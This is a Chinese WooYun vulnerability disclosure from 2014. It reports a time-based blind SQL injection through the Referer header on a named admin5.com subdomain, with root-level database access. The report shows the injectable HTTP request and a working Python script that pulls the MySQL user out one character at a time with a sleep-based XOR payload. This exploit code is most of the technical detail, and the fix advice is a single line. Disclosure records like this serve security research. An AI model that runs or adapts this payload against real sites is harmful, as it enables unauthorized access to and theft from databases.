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缺陷编号:wooyun-2014-087980

漏洞标题:A5站长网某站点MySQL注射(root权限附验证脚本)

相关厂商:A5站长网

漏洞作者: lijiejie

提交时间:2014-12-20 21:54

修复时间:2014-12-25 21:56

公开时间:2014-12-25 21:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2014-12-20: 细节已通知厂商并且等待厂商处理中
2014-12-25: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

A5站长网某站点MySQL注射(root权限,附验证脚本)

详细说明:

注入点:

GET / HTTP/1.1
Referer: aaa*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=2oe34dibm17etfkjn5nqhn2nn1
Host: yun.admin5.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*


Referer可注入。

漏洞证明:

MySQL user():

root@localhost


admin5.com_mysli_1.PNG


python脚本:

import httplib
import time
import string
import sys
import random
import urllib
headers = {
'Cookie': 'PHPSESSID=2oe34dibm17etfkjn5nqhn2nn1',
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
print 'Try to retrive MySQL user:'
user = ''
for i in range(1, 15):
for payload in payloads:
timeout_count = 0
for j in range(1, 3):
try:
conn = httplib.HTTPConnection('yun.admin5.com', timeout=2)
random.seed()
referer = str(random.random()) + "aaa'XOR(if(ascii(mid(user(),%s,1))=%s,sleep(1),0))OR'bbb" % (i, ord(payload))
headers['Referer'] = referer
conn.request(method='GET', url= '/', headers = headers)
conn.getresponse()
conn.close()
print '.',
break
except:
timeout_count += 1
if timeout_count == 2: # 2 times to confirm
user += payload
print '\n[In Progress]', user
break
print '\n[Done], SQL Server version is', user

修复方案:

过滤,转义

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-25 21:56

厂商回复:

最新状态:

暂无